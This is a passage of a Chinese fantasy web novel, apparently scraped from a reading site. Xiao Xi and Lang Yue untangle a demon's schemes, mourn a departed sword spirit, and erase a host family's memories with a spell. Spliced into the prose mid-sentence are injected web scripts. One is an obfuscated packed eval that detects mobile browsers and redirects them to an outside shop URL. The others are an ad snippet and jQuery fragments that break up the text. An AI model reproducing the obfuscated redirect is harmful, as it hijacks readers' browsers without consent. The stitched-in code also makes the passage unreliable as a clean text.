萧喜,你仔细回忆回忆,七年前,也就是除夕前的那段时间里,萧吉有没有什么异常举动让你感到很奇怪?” 萧喜嘴唇有些颤抖,但还是尽可能地控制好了自己的情绪,她不再掰手,而是选择用一只手去掐住另一只手的虎口,借用着细微的疼痛让她转移脑中掀起的高强度的惊慌感和紧张感。 “你当真厉害。你站在未知全貌的角度纵观全局,说出的推论还能与事实完全契合。 除夕前,我和哥哥本来约好趁那时帮主不在偷偷跑出去看热闹,但后来,我们也的确被三侨关在了被做过手脚的地室。 丐帮的那种地室,都是用来关押有意摆脱帮派控制,又渴望得到自由的人的地方,一旦人被关进去,是完全出不去的,你所说的三侨会对我们下的这个死局应该就是这种情况。 但那个时候,我记得哥哥说他早就料到了三侨会如此,所以提前做了准备,也就是弄了个什么万能开锁技来撬开地室的门。我当时也没多想……现在看来,实在是不合常理,若地室的锁当真如此好开,怎么还有那么多人逃不出去,而偏偏我们两个小屁孩搞七搞八搅和一通就行了呢? 还有你确实问到了点子上,除夕前,我的确觉得哥哥举动奇怪,除了老是说些莫名其妙的话以外……” 萧喜说到此处,被风吹得微微干裂的唇便忽然半张在那儿不动了,像是被什么东西扼住了口舌一般。 她瞳孔缩地更加厉害了,除此以外,还能明显察觉到它们正在空间有限的眼眶中震颤不止,她这是要把自己吓死的节奏。 萧喜的反应在朗月看来,算是心中已经预料到的模样,朗月见此,便也确信了自己的推测全然属实。所以,他并不打算说话,担忧自己干扰了萧喜,于是他选择了平静地看着对方,并耐心地等待着那句他心知肚明的答案。 “我记得……哥哥那时候对火光的态度是既厌恶又畏惧的,就跟患了血疾的人一样,而且他带着我出地室的第一个念头就是去找三侨,他对三侨的态度非常恶劣。 可……可是,虽然我记得这些,但因为我从未觉得这种事情会存在可能性,而……而且因为哥哥不久后就死了,所以我很快就将那些记忆搁置了。” “很正常,不仅仅是你不知道萧吉感染血蠕的事情,就连他自己也不知道。若是他知道,苏府祠堂的那个夜晚,他定会告诉你。至于为什么会出现这种情况,我觉得还有一个原因。 萧吉体内的血蠕不知道是出于什么原因,在不久之后就离体了,这就导致了往后的萧吉恢复了正常。拿一个人在短时间内的不正常表现说事,是非常不具备说服力的。所以,你和萧吉他自己都会将此忽略。” “可……萧吉体内的血蠕究竟是在什么时候消失的……是怎么消失的?难道是刹摩他主动取出的么?”朗月低声自语。 此时萧喜紧绷的神经让她没有放过朗月的这声低语,她很快就说道:“既然谜团已经推测至此,那么你的第一个疑问,我想我已经找到答案了。” 朗月有些惊诧。 “按照你说的那样,哥哥被血蠕控制邪念之后,他的目标就只有一个,那就是报复三侨。但是在过了子时后,也就是除夕日的凌晨,哥哥忽然就转变了态度,他说他不想再去找三侨了,而是要去救金瑶蒂。所以,态度转变的节点就是血蠕脱离身体的节点。”萧喜认真道。 朗月垂眸下去,原本神采奕奕的光彩瞬间消失不见。 他发觉自己的嘴唇也有些干涩,但奈何眸光所及之处已经没有可以缓解的水源,所以只好暗自舔了舔下唇。 “思路又断开了。如果事实真是如此,那么第二个问题就很难去解释了。所有事情发生的时间太过紧凑,在短时间内安排好三侨和萧吉的行动明明更加保险,可是刹摩为什么要在这个时候主动抽出萧吉体内的血蠕?除非,萧吉的血蠕根本就不是刹摩抽出的。” 萧喜蹙眉道:“怎么会……可是,事情凑巧的地方又来了,哥哥当时的态度虽然改变,但我们最后去找金瑶蒂的时候,三侨也刚好和她在一起。尽管态度不变,最后的结果却还是一样……这种又巧合又显得意外的情况会不会也是刹摩设下的障眼法?” “那么第一个问题便又不好像你说的那样作答了,既然最后的结果都一样,萧吉在被控制的情况下,并非做不到让态度立马转变。所以,你以为的血蠕离体的时间,也很可能是刹摩用障眼法后,想让你以为的信息。” 朗月耐心解释道。 萧喜有些绝望地松开掐住虎口的手,她本以为和朗月努力谈论这么久后,会得到一个满意的结论,最好还能揭穿刹摩的诡计密谋。结果到最后,她才发现自己太过天真,这段讨论存在的最大的意义就是让她在短时间内,经历了一场心惊肉跳的心理路程。 她扶额,空虚地用手撑着自己的脑袋,低声道:“那刹摩的目标为什么会是我,我对他有什么意义?” 朗月微微摇头:“不清楚。但我觉得金瑶蒂的存在,就是刹摩为了让你主动去盛京,故意设下的陷阱。 看来詹远说的不错,你在羽翼未丰的情况下只身去盛京和送死没什么两样。不过,刹摩的事情你也不必太过忧虑,将希望寄托于今晚条件不充沛的讨论,本就非明智之举。再者,我们手里还有很多未解 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13766030|126577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 决的悬念,只要时机成熟,就会有办法解决它们,一定要相信你自己。” 朗月这话虽然说的一板一眼的,但本质上还是在安慰萧喜。 萧喜闻言,也终于松了一口气,她回给他一个松懈的笑容,继而再问道:“所以还有哪些悬念?我记得你还没跟我提过。” 朗月很快应答:“几百年前,让少五顶替上古封印的那只影魔,在少五被封印后,他的下落还不明。虽说这只影魔最后跟先门主保证过再也不会用血蠕危害世间,但这只影魔在未来会不会违背誓言并不好说。万一,远在盛京的那只刹摩就是他,或是与它关系匪浅呢? 还有六年前带着金瑶蒂奔往盛京的三侨,他的下落同样不明。或许找到跟他有关的信息,就能摸清楚在他背后操纵局势的刹摩的底细,但这很难。所以我们可以直接去找那个还未死去的金瑶蒂,说不定可以摸出些关键的线索。” 萧喜很会抓关键,尽管这个关键出现的频率极低,她立马问道:“我们?” 朗月眨了眨眼,并不明白萧喜为什么会只对“我们”二字表现出这突如其来的关注度。 他说道:“自然是我们。去盛京的事情其实我早有打算,不久后会在禀报沧凌城的飞信上自行向师父请愿,这属于我历练的一部分。再者,你也会去盛京,但此途多舛,敌人会超乎想象得难以对付,其中还会潜在很多未知的陷阱,就像刹摩针对你施展的那些障眼法一样。所以,我会跟你一起去,既顺路,也能帮你。” 萧喜笑得更开心了些:“看来你这个莫逆之交我相得不错嘛。” 朗月微微弯唇,很快就淡下,似乎是他特有的礼貌的回应方式。 然而,只有萧喜看的明白,就是他这种看似不经意的表情才更显诚意。否则,要么板着一张脸面无表情,要么便是笑了,也是……打算动心思干坏事的前兆了。 天色已经很晚了,萧喜和朗月倒是完全感觉不到,他们两个几乎都沉浸在浓重的思绪纠葛之中,过了这么久的时间后,意识到时间流逝的时候,才无不慨叹时间过得可真快。 他们觉得自己总是精力疲惫、口干舌燥,为此感到奇怪,其实倒不是身体出了故障,而是他们沉浸在自我世界里,忘却了时间的概念,所以无论过了多久时间,在他们这里仿佛都能被缩化成所谓的一时半会儿。 虽然岸城灯火还未落,但街道上的人潮已经在慢慢褪减,想必要不了多久街上就空荡了。一旦街道空下,这些灯火也就该灭掉了。 萧喜和朗月都起身准备在灯火灭去前回去,虽然晚回也不是什么大事,但却更省力些——不用自费法力烧灯了。 话说,要是走在城里,他们两个人徒手冒火被不相干的人看见了,那麻烦也不少。 他们两个人的脚程都很快,可能是走惯了荒郊外的夜路后锻炼出来的。所以没过多久,他们就到了城边。路上,人烟稀缺,灯火也阑珊了,气氛逐渐走向阴冷,萧喜觉得不找个话题聊聊实在是无趣。 她想了想,忽然意识到自己忘记了一个很重要的事情,本来是要在晚上的河岸边说的,谁承想后来的她直接被朗月的话题扯偏了。 她抬首,看着身侧行走的少年清秀的侧脸格外平静,甚至还带着隐隐约约的温和的气息,她看得有些出神,说道:“其实,我今晚有一处很看不懂你,不知你是否肯为我再废一废口舌解释一番?” 朗月没有回视她的目光,简单地应了声:“嗯。” 130. 剑灵之境(5) 其实在开口问话之前,萧喜就已经在努力压胸口的闷气,她并不否认自己有些紧张。因为她接下来要说的事情是会深入朗月内心的,她感到紧张并非是因为觉得这些话说出来会很忌口,相反,她觉得现在说这些倒是符合时宜的。 她的紧张,显得太过无厘头,她自己也不知道现在怎么会变得这般敏感了。她很在意朗月的心情,她明明都知道这些话说出来可以帮朗月主动排畅心事,但就是不自觉地担忧他会不会难受。 长痛不如短痛,萧喜,你不久前不就是这么觉得吗?现在倒是变懦夫了,这像什么东西?! 萧喜忽地静下心来,因为她想到了一个问题,她在想朗月之前在她毫不知情的情况下用引魂针让她和哥哥相聚的时候,也会和现在她的处境一样,如此为难吗? 朗月今日在跟她讨论仙机门消忆咒的时候,说过“有些事情,我们只要做到换位思考,就可以相互理解了”,她虽然一直没有因为引魂针的事情跟朗月计较,但不可否认的是,她的确拿过此事讽刺过他。 虽然当时的讽刺非她的本意,但是最后呈现的就是这样的效果,她也很无奈。 到现在,萧喜才终于完全体会了“换位思考”一说,她想,如果朗月当时真的跟现在的她一样,那得多为难,既不想让对方因自己受伤,却又不忍让对方一直承受着日益剧增的伤痛……长痛不如短痛这个道理,说的很好。朗月会在那样为难的境地中做出选择,最后也做到了让她摆脱过去,然而在与她面对的时候,还要遭受一番讽刺…… 萧喜心一揪,愧意涌上心头,她顿时觉得朗月这份恩情,绝非她那一句句徒有言辞的“谢谢”可以抵押的。 虽然最后的结果都一样,她想要踏出这一步,但她不认为这些想法是多余的,因为这些对她来说有着心态转变的重要作用,她不该用不久前的那副救赎者的嘴脸,去解决所谓的“解放天性”的问题,而更应该持有一副真诚平等而尊重的心态去打开他的心扉。 所以,萧喜开口问出了那句话。 此时,她继续说道:“就在今晚我还没有跟你提剑灵之境的时候,我还认为就算你不主动跟我提芍七,一时半会儿下让你释怀他的离开,是几乎不可能的事情。 我不想让你把什么事情都憋在心里,任由它们发酵成难以根除的心事,长痛不如短痛嘛,我亲身体验过的。所以我跟你主动提到了芍七的问题,我以为接下来你听完后,会一时控制不住自己的情绪,我甚至连接下来怎么安慰你都想好了。” 萧喜微微弯了弯唇,与平日里大大咧咧的模样大相径庭,她的笑颜分外温和,甚至能将她一整个人的气质都改变了。 “结果,朗月你不愧是我此生见过的奇人。你愣是完成了我所以为的不可能的事情,你听完了剑灵之境后,情绪居然比之前还要镇定得多,完全看不出悲色了,甚至还能有条不紊地与我探讨难事。我想知道,这是为什么?” “因为比起要将芍七一直留在身边,我更希望他能过得更好。也因为我知道,自己不能那么自私,尽管我很不舍。” 朗月将头抬得更高了些,透亮的瞳孔与幽深林间的月色相接,澄澈地如同晦暗之中散发着光芒的宝石。 “剑灵之境对芍七来说既是过去,更是执念。破开幻境对他来说便是放下了执念,他的身世太过悲惨,放下执念对他来说也需要莫大的勇气,他最终得到破茧重生的结局其实已经让我感到足够满足了,哪怕这样的结局对我来说,是往后无数日夜的寂寞,我也觉得毫无遗憾。”朗月想得有些出神,语气之间处处透露着淡淡的怅惘和忧伤。 萧喜也被这样的忧伤氛围所感染到了,她说道:“芍七对于你来说,倒不是身为附属者的剑灵,其实更像是知音,或是家人。在从前,像你这种没脾气的人,在芍七面前的时候表现得才更有生机。尽管你总是对他有些严厉,可我从未觉得他对你有过真正意义上的畏惧。我说的对么?” 朗月点点头,应道:“我在很小的时候就被师父收留了,虽然他对我很好,却又很严厉,我从不敢僭越。我性子冷淡,加上我是师父亲传弟子的身份,同门师兄弟们都对我有所忌惮,很少能有交集。在我入门后没两年,师父就给了我一把名叫黑柄剑的法器。我很喜欢用剑,所以经常用它运功,久而久之,里面的剑灵就被我唤醒了,他告诉我他的名字叫芍七。 不同于他的外表,芍七的性子非常跳脱,也很闹腾,有时候我真心觉得他比小时候的我还要幼稚。一开始我嫌他烦,一度嫌弃那把剑,他也不喜欢我的脾气,开始忌惮我。再后来,没有办法的是我和他早已绑定了关系,纵使是千不甘万不愿,我们还是得一起生活。 没过多久,他就发现同门弟子都不愿和我交流,他还嘲笑我没朋友,却又拍着胸脯,一副蠢样地告诉我,往后他会跟我做朋友。 其实我都明白,他其实是有点可怜我的,但是他也知道我脾气傲,定然不愿听这些伤自尊的话,所以才用那样笨拙搞笑的方式传递他的本心。 一眨眼间,竟然都快过去十年了……我和他并非做了十年的主仆,而是做了十年的知音。十年相伴,不离不弃。” 萧喜看着他专注而动容的神情,他温柔的一面很少见,却次次真挚得要命。 她伸手轻轻拍了拍他的肩,朗声说道:“你和芍七以后都会好好的。就算芍七走了,你也绝不会是一个人,我也是你不可多得的挚友,我会一直陪着你的。” 朗月难得地弯了弯眉眼,笑地格外温雅。 “而且我认为芍七的事情在一定程度上也是可以给予你启示的,面对感情时,一定要注重当下,若曾经的你明了这些,那些逝去的十年说不定会更加有意义呢?” “或许,起码会让自己更加珍惜那些岁月。感情是不可以逃避的,我已经明白了,也希望你也能明白,打开心扉吧,做真正的自己。” 萧喜看着他,神情同样专注,语气同样温和平静。 朗月闻言垂下眼帘,侧首看着她。 萧喜完全不在意这突如其来的视线碰撞,她神色自若地说道:“因为从前的我很不懂感情,所以能意识到它的重要性。六年前如果我明白哥哥和金瑶蒂之间的感情是男女之间充满爱意的喜欢,或许我就不会那么善妒,也不会那么害怕我视若珍宝的关爱会消失。” “当然后来我知道了,却又让情况变得太过极端了。因为我害怕会和从前愚钝的自己一样,因为不经意的错过,从而失去了解感情的机会。简而言之就是,我现在容易多想,面对感情的时候多少会比别人敏感些。举个例子……”萧喜弯了弯脖子,伸手往脖子上来回抹了抹,一副难为情的模样。 “我之前一直觉得芍七跟柳芊芊之间的感情也是男女之间的欢喜,芍七不是老一碰见人家就头疼吗,虽然这是有一部分外界原因介于此的,但我总感觉……多多少少还是有那么一点日思夜想的成分在里面的吧? 结果经历了剑灵之境后,我才明白芍七展现出的这些状况和情绪,都只是针对柳芊芊的前世阿霖的,而且还完全不是什么男欢女爱,而是结缘于救命之恩的依赖和愧疚罢了。 想当时,我还嘲笑你啥也不懂,到 () { $(''.inform'').remove(); $(''#content'').append('' 头来啥也不懂的原来是我……说句不好意思的,我觉得当时那种胡思乱想特别对不起人苏且光的。” 还好有夜幕的关照,不然萧喜都不敢想象她的脸有多么红多么烫。 平日里的她大大咧咧,还动不动地调戏别人,其实那只是她用来伪装自我的方式罢了。当她真去用真心面对感情时,她的模样和不谙世事的小姑娘并没有什么区别,她也会害臊或者难为情。 朗月反而没有跟她一样多想,还因为察觉到萧喜话中吹捧他的意思,便就事论事地说道:“我其实也好不了多少,之所以没有多虑,也是因为我当时的注意力全在芍七头疼并且不受控制梦到柳芊芊的症状上。” 他忽地想到了什么,紧接着跟萧喜说道:“还记得平台镇詹远当时安置那些消失人的事吗?” “当然记得,他们平日里做了恶,詹远为了营造他们已经死去的假象,就把他们关在客栈的地下室里,用幻术捆缚他们的意志,让他们去体验做恶后受到报应后是何样的痛苦。我觉得詹远此举简直是替天行道。” 朗月肯定道:“是。但那时候詹远为了不让芍七干扰他的计划,也把他关进了溢满幻境的地下室里。 身为剑灵的他本不该拥有过去,可是自从他随我来到沧凌成之后,他就忽然想起来自己曾经在平台镇的幻象里看到的画面,并且告诉我那种幻象,虽然模糊却跟他头疼时梦见的画面有如出一辙的效果。 再后来,他的情况严重后,就不受控制地跑到了乌巷去,碰见了刚好第二次离家出走的柳芊芊。 自此以后,他记忆中的幻象和梦境里的画面不断重叠,直至清晰,它们都出现了一个共同点,那就是其中都有着柳芊芊的身影。曾经的我对此百思不得其解,如今看来,才知道他看到的那些身影根本不是柳芊芊的,而是前世记忆中阿霖的。 而芍七也根本就不是什么剑灵,他在平台镇的那些经历,其实在很早的时候就告诉了我这一点,因为他从来都是个有过去的……妖。” 他其实本来想习惯性的说出那个“人”字,可念头一转,察觉到物是人非的他还是不自然地顿住了,转而乖乖地用上了更加具备准确性的“妖”字。 “看来,现在的你对妖的看法已经没那么极端了。”萧喜笑了笑。 “嗯……” “其实他们也跟我们一样,都只是分别属于不同的种族罢了,看待他们的时候不该带有偏见的。可能也会不自觉地带上……但也绝对不能像你们仙机门那样过于偏激了。”萧喜又道。 月色又深了,而他们也已经回到了在郊外安置的那只院子。 经过了一晚上的交心,他们虽然都感觉精疲力竭,但心上却轻飘飘的,完全一副如释重负的样子。 萧喜如今更是昏昏欲睡地厉害,她笑着跟朗月打了个招呼:“天色太晚了,我已经坚持不住了,就先睡了,你也是。” 朗月走到自己的房门前,刚好跟萧喜隔了半只走廊的距离,他看着她回道:“好。” 但萧喜却还一直站在屋外,尽管已经哈欠连天,却还是没有要立马回去的意思。朗月顿在原地,看着她的模样有些不自然。 一阵夜风再度吹来,院子外的绿野丛枝抖擞着,发出阵阵“哗啦”声。 一句温和的“晚安”从另一头伴着夜风鼓到他这一头,尽管风很冷,却依旧有暖暖的温度将话语围入他的耳蜗里。 等他回过神的时候,萧喜已经进了屋子,房门也被关得紧紧的。 他嘴角轻挑,用仅有自己可以听见的声音慢慢说道:“萧喜,晚安。” 131. 情深谊长 翌日—— 由于昨天晚上萧喜和朗月睡得太过晚,今日他们起得也很晚,刚好卡在昨晚济世堂伙计,递给他们的请帖上标记的时间的前一个时辰左右的时候。 不过,虽然起得很晚,但他们都睡了个还算安稳的觉,在这段忙碌心焦的日子里,这样的睡眠质量其实是很可贵的。 他们一起来就立马去了陈府,半刻都没有耽搁。 午时,陈府—— 由于萧喜和朗月上个月来过几次陈府,所以看门的小厮一看见他们来,先是毕恭毕敬地作了个揖,再是连通报都没有就风急火燎地招呼他们二位赶紧进府坐,说是老爷和小姐都已经恭候多时了。 他们刚进陈府内院通向后院的小径,甚至还没有完全跨进后院的圆拱门的时候,就已经闻到了阵阵饭食的香气,芳香不断,毫无寻常饭菜的油肉荤腥之气,光是闻闻气味就知道很有沧凌城的特色。 萧喜早上没来得及吃早食,闻到这等诱人香气,她口中吞咽着唾沫不说,脚下的步伐也不知不觉地加快了。而朗月也紧跟其后着,两人一前一后跨进了后院。 后院里,陈家祖父和陈织梦齐齐坐在摆着珍馐佳肴的圆桌上,碗筷备齐着,不乱半点分寸,他们都眼巴巴地盯着院外的圆拱门,等着客人的到来。 萧喜和朗月刚一进门就对上了他们望眼欲穿的眼神,不由得脚步一怔,她属实是被这要命的热情吓了一跳。 陈家祖孙两人一看到他们的身影,脸上笑容更是亮丽了,连忙客气地站起身子给他们作揖行礼,还不停地招呼他们:“姑娘跟公子都来了啊,那就请快快入座吧!” 陈织梦看到柳芊芊并没有来,神色略微失望。 萧喜其实已经注意到了,但她就是不知道自己该怎么去交代一个有悖于良心和现实的谎言——还是美名其曰不让陈织梦伤心难过的谎言。 正在她为难的时候,朗月主动用倍感歉意的语气,说道:“柳姑娘现在还因惊吓过度而在郊外院子里静养,抱歉没能带她来赴约。” 既然朗月都已经发话,陈织梦便再没有要多嘴的必要了,她甚至听闻柳芊芊精神渐好的消息后,而倍感松弛。 在陈家祖父和陈织梦热情的招待下,萧喜略微局促地坐上了椅子,不知道的还以为她是只被赶鸭子上架的那只“鸭子”。她身旁的朗月倒是一副神态自若的模样,举手投足间还很有条紊,看起来很像大户人家有教养的小公子,早见过了各种大世面。 看着摆在身前的一盘盘直叫人看得眼花的菜品,萧喜噎着口水,可是又不敢轻举妄动,怕桌上陈家祖孙要跟她谈论起正事的时候,她会乱了思路,还容易丢了面子。 然而,现实并非她担心地那样。四个人坐在桌上,没有任何一个人谈论除了这桌饭菜以外的话题。陈家祖父和陈织梦心有灵犀地一个接一个的,热情地跟萧喜和朗月他们介绍着桌上精心准备的饭菜,还叫他们不用客气,尽管享用,否则出了沧凌城后可就再难吃到了。 萧喜在这样的氛围的熏陶下,便自然了太多,她也加入了饭桌上的闲谈,有一搭没一搭地跟陈家祖孙两个人说起趣事儿来,还时不时地夹上自己相中的菜品往嘴里送,吃的满嘴油光,不亦乐乎。 朗月虽然话少,但表情却舒缓,他静静地坐在桌上,耐心地听着萧喜跟别人闲聊时发出的嘻嘻哈哈声。 除此之外,他其实还察觉到了对面陈织梦假装不经意看他的眼神,这种小动作放在普通人身上定然很容易被忽视,但对他这种警惕性和敏感性都很强的人来说,捕捉它们是很小菜一碟的事情。 他每次注意到这样的目光时,他都能精准且毫不避讳地抬眼回视过去,每每如此,陈织梦都会乍一下红了半张脸,然后再假装若无其事的模样垂眼夹菜吃饭。几番对视下来,性子内敛的陈织梦当然再也不敢继续偷偷看他了。 朗月倒是没在意多少,他端坐在原位静静做着自己的事情,当然,也会经常微微侧首看着身边正大快朵颐的萧喜。 他发现每当视线聚集到她身上的时候,看着她开心,自己的心情也会莫名好起来。 饭毕,萧喜才慢慢收敛齐自己贪婪的神色,她平静地放下碗筷,笑了笑:“想必您和陈姑娘也都发现沧凌城的血疾渐入尾声一事了,我们曾经向你们保证过的事情也终于实现了,我们的任务也就结束了。今天这顿饭,二位心里其实都明了,既算感谢饭,也更是散伙饭。” 朗月微微愣了愣,因为现在发生的事情跟原定计划中的环节并不一样。他和萧喜本来打算,最迟在饭局结束前就立马用消忆咒让陈家祖父和陈织梦晕过去。只是在饭局进行的时候,他看萧喜兴致如此之高便没有想打断,想着到她吃饱喝足后再下手也不迟。 可是,现在时间既到,萧喜却违背了计划。 当朗月看到萧喜微微湿润的眼中溢满了真挚的眼神时,他又很快打消了内心的迟疑。 如同昨晚深夜她跟他说的那样,感情的事情是不能逃避的。就算从今天起陈家祖孙两个人都不会再记得他们任何一个人,但如果让萧喜心中的感情一直积压在心的话,那跟逃避又有什么区别呢? 那便任由萧喜去做她想做的事情吧,之后再下手其实也不算迟。 另一边,陈家祖孙两个人也已经眼含热泪:“这些天来,麻烦姑娘和公子了,我们替沧凌城所有的百姓给二位道谢了。” 陈织梦情绪很激动,可她却一直逼自己忍耐,但极限已至,悬在眼眶里的两汪泪泉顷刻夺眶而出,她颤声道:“谢谢姑娘和公子在平台镇救下了我……谢谢二位不嫌我麻烦还帮了我的挚友芊芊……此恩小女今生今世都无以为报。” 说罢,陈家祖父两人都要离座给他们作揖,却被眼疾手快的萧喜拦下,她心中温烫一片,却又因为她知道自己根本就没有陈姑娘说的那般好,柳芊芊她根本就没有救下,于是心中又感到隐隐酸痛。 复杂的心绪交织着,让她既无奈又苦涩,她弯腰作揖,温声说道:“以后,二位一定要好好照顾自己。沧凌城血疾对普通百姓来说,还有着短时间内难以消解的伤害,往后还要靠两位努力经营济世堂,好好照料百姓们。二位跟着我后面受了不少苦,耗财耗力,从不多说一声苦,任劳任怨至今。其实比起我和朗月,你们才是沧凌城真正的希望。我相信,未来这片繁华水乡会因为你们的存在而变得更加昌盛平安。” 朗月也跟在萧喜身后,恭敬半鞠下躬,作揖,诚恳地说道:“老爷跟小姐的功劳功不可没,晚辈甚是钦佩。” 当他直起腰杆时,刚好与萧喜对视上,她微微闭了闭眸子,示意该动手了。 紧接着,朗月衣袖一挥,他的身形便顿时模糊起来,徒留下几道残影。与此同时,他的动作也鼓起了一阵疾风,将院子里的干燥的泥土一起卷起,扑向了陈家祖孙。他们两人连睁眼看清楚情况的时间都没有,就被着满天泥尘扑得眼神迷离,最后不得不抬袖掩目。 下一刻,朗月就瞬间移到了他们祖孙二人的身后,微敛清眸,手法熟练地将双手定在了他们后脖颈处的穴位上。祖孙二人顿时腿脚发软,眼白一翻就要倒下去。 萧喜赶忙上前伸出双臂揽下了他们的腰,好不让他们倒到地上。朗月收手后,也帮忙将他们扶到了桌椅上,他这次并不打算急于求成,而是选择定神仔细查看了他们的状况后,确认再不会出现之前连续失误两次的情况后,才松下劲来道:“没问题了。” 萧喜默默叹了一口气:“你的消忆咒有叫人选择性失忆的功效吗?” 朗月不假思索道:“有,但仅仅局限在相应的人身上。也就是说,消忆咒仅仅能让他们忘掉在一定时间内施咒之人的存在。因为在沧凌城这段时间里,你和我的行动大多数都绑定在一处,所以在咒术牵引下,他们也会忘记你的存在。同理,柳芊芊的存在也会就此被抹除。 当然,消忆咒并不会让他们在失去某段记忆后觉得突兀,它可以让他们接受术法后的记忆完成很大一定程度上的逻辑自洽,完全不会影响他们接下来的生活。” “那我们方才跟他们交代过的安置灾后病情的事情该怎么办?”萧喜眼神怅惘地盯着那两个昏睡在桌的祖孙二人。 朗月笑了笑:“你这就是明知故问了。” 萧喜和朗月其实都清楚陈家祖孙两人的人品和作风,就算完全忘记了他们刚刚交代的事宜,他们也相信陈家祖孙二人会不遗余力地经营好济世堂,帮助百姓们修养身体,让大家尽早摆脱血疾的阴影。 所以,此时萧喜发出的疑问就是明知故问的,她之所以按耐不住这句心声,说到底还是因为舍不得。 萧喜自知被朗月看穿了心思,出于不想被人觉得自己矫情的蹩脚心态,她避开他的目光,顶着一副若无其事的模样,用手指挠了挠脸。 朗月只是笑,也不继续拆穿她的小心思,而是岔开了话:“时候不早了,还有不少人要下一番消忆咒,一起吗?” 萧喜立马笑说:“那你这也是明知故问了。” 接着,她快步跟上了朗月的步伐。 他们顶着午后的烈阳,去济世堂走访了一番,把相关的事情解决后,竟然已经到了申时。因为气候炎热,街道上的人潮都有所减少,他们回去的路上没了人群的拥堵后,脚程就更快了些。 没多久后,他们总算是走到郊外,郊外的树林枝叶繁茂,刚好遮挡了烘热的阳光,密林阴影下,空气也没那么干燥闷热了,这让他们都感到心气顺畅。 几缕阳光从高处枝叶相叠的缝隙下漏出,将密林之中飞舞的幽微尘埃照得披光散霞,被树叶的影子剪碎的斑驳光芒,坦坦荡荡地照在他们的脸上,年轻的面孔意气风发,灿烂而明亮,带着说不尽的明媚和生机。 午后时光懒散,萧喜奔波数个时辰后终于找到了可以放慢脚步的时间,她擦着残余在额角的汗珠,忽地想到了什么,很快就跟朗月说了起来:“你知道几个月前在平台镇时,我为何在走前还非要救陈织梦吗?” “因为善良和怜悯?”朗月很快回应她。 萧喜笑了笑,用拇指和食指凑到一起笔画了一下说道:“是有一部分这上面的原因,但绝不是全部。” 她收回手,双臂交叉背在身后,悠哉地走在小径上,自豪地说起往事:“六年前的夏天,黑夜里的老巷中,哥哥攀着窗户将金瑶蒂安置到我这里的时候,他的身影背对着月光,月色勾勒着他朦胧却格外坚毅的身姿轮廓,放大……放大……继续放大,我看着哥哥,像是看到了神圣的巨人。 那个时候我怨恨金瑶蒂给我们兄妹二人带来的苦难,却依旧能在月色下哥哥的身影上读懂着一句话——宁愿做一个安心的冒险者,也不愿做一个永不心安的逃避者。 哥哥说过,既然我们拥有能让别人脱离危险的能力,就不该逃避,因为,做完这些事情后,我们面临的可能仅仅是短暂的威胁,不做的话,别人却会面临一辈子的痛苦。 这不是所谓圣人的宣言,而是在同一个苦难和冒险兼具的世界里,真正的强者所具备的品质,是一种对弱者由衷表露出的怜悯和关怀之心。 若非哥哥和金瑶蒂遇上了三侨和刹摩,那场冒险本是能以好的结局终结的。哥哥会心安,金瑶蒂也不会继续饱受折磨。 曾经的我眼界短浅,永远学不会去 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 看更深层次的事情,更无法体会苦难者和弱者的心情。因为观点的薄弱和偏差,才会让我差点被别人将意志蒙蔽在他们为我创作的仇恨牢笼里。我真正该怨恨的从不是哥哥,更不是金瑶蒂。 多年后的我,遇到了陈织梦。我想着如果有一天我能站到哥哥的立场边,是否可以从理解他,不断跨越到成为他的境界,所以我抱着这样的私心向陈织梦伸出了援助之手。 平台镇的那晚,月色银白清亮。我背对着同一颗月亮的光芒,立在了曾经哥哥站过的地方。” 朗月耐心地听着,看着她微微翘起的唇角,发散着成就感的光彩,他的心在无形中已经被这样的光彩勾住了。 萧喜说话向来松弛有度,在讲述自己的过往时尤其如此。她从未想过要将这些话题散开的情绪弥漫多久,或许也是不希望听者在被情绪影响后变得太过被动,所以她很快就扯开了别的话题。 她脸上绽放着新鲜感,看着朗月漂亮的侧脸,用闲暇的口吻,悠悠说道:“话说,我如今才算切身体会到为什么陈姑娘会那么喜欢你的原因了。” 朗月不明所以,缓缓垂首看她,虽然没说话,但满脸疑色。 “我敢保证这一次我的感觉没有因为太过偏激敏感,而错认事实了,而且你不可能没有察觉到刚刚饭桌上人家往你身上投射的目光吧。”萧喜在额旁做了一个发誓的动作,表情认真。 “还是那些你耿耿于怀的男欢女爱之情么?”朗月看着萧喜一贯的颇具欺骗性的表情,以为她又在搞什么花样,他没认真对待,还觉得颇为搞笑,说话的时候,语气都是轻挑的。 萧喜这次是真较真了,她一副十分在理的样子说道:“真的。你这种的男子,叫年轻姑娘不喜欢都难,这俊俏模样已经是世间少有了,就连我,现在越看你,都越觉得吸睛呢。” 朗月顿了顿,他自诩一个从不在意自己外貌的人,现在竟然生出一种把持不住的欲望——想要将那句“真的吗”脱口而出的欲望。他心里有些窃喜。 “而且你真的很有魅力,要是陈织梦能有机会跟你更进一步,肯定会更加喜欢得不得了,你信不信?”萧喜还是一如既往地朝他投来认真的目光。 “为什么?”朗月问道。 萧喜看他终于对自己的话题有了兴趣,便一下子来了劲头:“除了表面功夫以外。我看你这个人非常明事理,拥有自我判断的能力,特别聪明,你让我这个自诩脑袋极好使的家伙有时候都觉得自叹弗如。你的心思还特别细腻,又很懂分寸感,跟你相处的时候,几乎没多少压力,就算有了矛盾,你也从不自以为是,还耐心听我提要求。你这个人虽然外面冷淡,跟冰块似的,但其实……” 她不知不觉间,也学上了朗月那般喜好一板一眼夸人的技巧。 萧喜边说边指画着,脑袋晃晃悠悠的,眼看着就要渐入佳境,却忽然又对上了朗月紧盯着她不放的目光,那种目光比平日里的都要明亮炙热很多。 她心中一紧,忽然意识到自己正在说得滔滔不绝的内容是这样的,她愣住了。其实,她刚刚说的时候是毫无意识的,反而是全凭感觉来的…… 萧喜脚底定住,虽然表情面不改色,但藏在靴下的两双脚趾头却孜孜不倦地朝里绷着,替她承受着此刻无声的尴尬。 